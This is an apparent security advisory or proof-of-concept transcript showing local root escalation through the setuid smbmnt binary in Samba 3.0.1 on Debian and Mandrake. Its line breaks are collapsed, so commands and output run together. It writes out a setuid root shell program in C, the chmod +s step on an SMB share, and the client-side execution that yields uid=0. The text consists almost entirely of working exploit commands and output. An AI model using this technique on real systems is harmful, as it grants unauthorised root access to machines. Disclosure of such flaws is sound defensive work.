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The following example has been supplied:

"share" - smb server"slovakia" - smb clientmisko@slovakia:~$ smbmount --versionUsage: mount.smbfs service mountpoint [-n] [-o options,...]Version 3.0.1-Debianmisko@slovakia:~$ ls -l /usr/bin/smbmount- - -rwxr-xr-x 1 root root 591756 2004-01-13 20:29 /usr/bin/smbmountmisko@slovakia:~$ ls -l /usr/bin/smbmnt- - -rwsr-sr-x 1 root root 8088 2004-01-13 20:29 /usr/bin/smbmnt^Confirmed to be default on Debian and Mandrake.share:/data/share# cat a.cmain(){ setuid(0);setgid(0);system("/bin/bash");}share:/data/share# make acc a.c -o ashare:/data/share# chmod +s ashare:/data/share#share:/etc/samba/smb.conf[share]path = /data/sharewritable = nolocking = nopublic = yesguest ok = yescomment = Shareshare:/data/share# ls -l a- - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 amisko@slovakia:~$ ls -l pokus/a- - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/amisko@slovakia:~$ pokus/aroot@slovakia:~# iduid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)root@slovakia:~#

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